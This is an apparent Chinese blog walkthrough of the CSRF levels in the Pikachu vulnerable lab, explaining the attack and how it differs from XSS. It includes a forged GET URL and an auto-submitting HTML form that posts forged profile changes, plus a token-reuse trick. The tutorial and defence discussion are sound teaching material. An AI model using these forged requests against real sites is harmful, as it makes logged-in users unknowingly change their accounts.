CSRF,即Cross-site request forgery,跨站请求伪造攻击。上一章节介绍的XSS是实现CSRF的诸多手段中的一种,所以说,如果在这一章的内容中你感觉到有一些熟悉是很正常的。但是他们二者工作原理是不同的,所以是两种漏洞,请不要将二者混淆。
一、原理
CSRF攻击利用了用户的身份验证状态。当用户已经登录一个网站,并且该网站使用了cookie或其他身份验证令牌来识别用户时,攻击者可以伪造请求,以使受害者在不知情的情况下执行操作。攻击者创建一个包含恶意操作的HTTP请求,这个请求通常是一个URL,包含了目标网站的操作(例如修改密码、发表评论、转账等)。
攻击者诱使受害者访问包含恶意请求的网页,通常通过社交工程、嵌入式链接或恶意广告等方式。当受害者访问这个网页时,浏览器会自动发送包含攻击请求的HTTP请求,利用受害者的身份进行操作。受害者通常不会察觉到攻击,因为他们已经登录了目标网站,而且浏览器会自动发送请求,无需用户交互。
简单来说,就是通过欺骗用户点击一个url,使用用户已登录的身份令牌,发送你希望发出去的请求。
是不是感觉和XSS很像了?也是欺骗用户点击一个url然后就中招。这里讲讲二者之间的区别:
1. 攻击方式:
XSS:XSS攻击是一种注入攻击,攻击者将恶意脚本代码注入到网页中,然后受害者在浏览器中执行这些恶意脚本。这种攻击可以用来窃取用户的信息、会话令牌等,或者执行恶意操作。就算是诱使用户点击url,本质上,也是要产生一个具体页面并且注入js代码的。
CSRF:CSRF攻击是一种伪造请求的攻击,攻击者诱使受害者在已经登录的状态下执行某些操作,而受害者不知情。攻击者通过构建伪造请求,然后诱使受害者执行这些请求,从而执行恶意操作。只要用户点了url,就会直接发送请求。
2. 攻击目标:
XSS:XSS攻击主要目标是窃取或修改用户的数据,以及执行恶意操作,通常是在受害者的浏览器上执行。
CSRF:CSRF攻击主要目标是执行未经授权的操作,利用受害者的身份在目标网站上执行操作,也就是服务器。
所以还是得把二者当做两个不同的漏洞类型来看比较好。
二、CSRF(get)
从关卡名字来看,应该是get请求的CSRF,右上角有提示我们账号,先登录一个看看。
看来可以修改个人信息,那么CSRF漏洞可能就在这里了,尝试修改个人信息并抓包试试
显然,get请求可以通过url来提交信息,那么我们可以根据参数构造一个url,网站地址请自行替换:
http://192.168.52.131:800/vul/csrf/csrfget/csrf_get_edit.php?sex=man&phonenum=13612341234&add=uk&email=KURIA@pikachu.com&submit=submit
在用户登录的情况下,点击上面构造的链接后,用户信息就被更改了。
三、CSRF(post)
然而如果页面使用了POST请求提交请求,就无法通过伪造url来实现请求伪造,需要搭建一个恶意站点,然后诱骗用户点击这个站点页面,从而提交我们希望的POST请求。
<html>
<head>
<title>hack.html</title>
<script>
// 当页面加载完成时,自动触发提交按钮的点击事件
window.onload = function() {
document.getElementById("submit").click();
}
</script>
</head>
<body>
<!-- 表单用于模拟提交用户信息 -->
<form method="post" action="http://192.168.52.131:800/vul/csrf/csrfpost/csrf_post_edit.php">
<input id="sex" type="text" name="sex" value="woman" />
<input id="phonenum" type="text" name="phonenum" value="13311111111" />
<input id="add" type="text" name="add" value="cn" />
<input id="email" type="text" name="email" value="kuria@pikachu.com" />
<!-- 提交按钮,自动触发 -->
<input id="submit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>
将上面的html页面放入自己的服务器,然后让用户在登录状态下访问这个界面,就会向目标网站自动发送post请求,从而实现利用CSRF漏洞。
其实就是怎么把这个请求发出去的问题。
四、CSRF(Token)
嗯?我一开始还觉得为什么用了token还能破解,但想了想作者的尿性...如果看过暴力破解那一期就知道,作者可能会把下一次使用的token令牌通过响应包一起返回,找找看。
居然真的-_-||,所以直接把这个token复制到下一个请求包就可以了。
不过,如果攻击者无法捕获这个token,就没有办法进行CSRF攻击。
五、后记
CSRF攻击本质上是让受害者在不知情的情况下发送某些请求,所以在防护的时候,要注意在某些关键步骤进行用户身份的二次验证。token令牌验证就是非常有效的防护方式,同样,安全的验证码也同样有效果。但也要注意令牌的有效期,在该使用短寿命令牌的时候就应该更加地重视安全性,用户体验和安全性之间的均衡也是安全行业的一种艺术所在。
Comments | NOTHING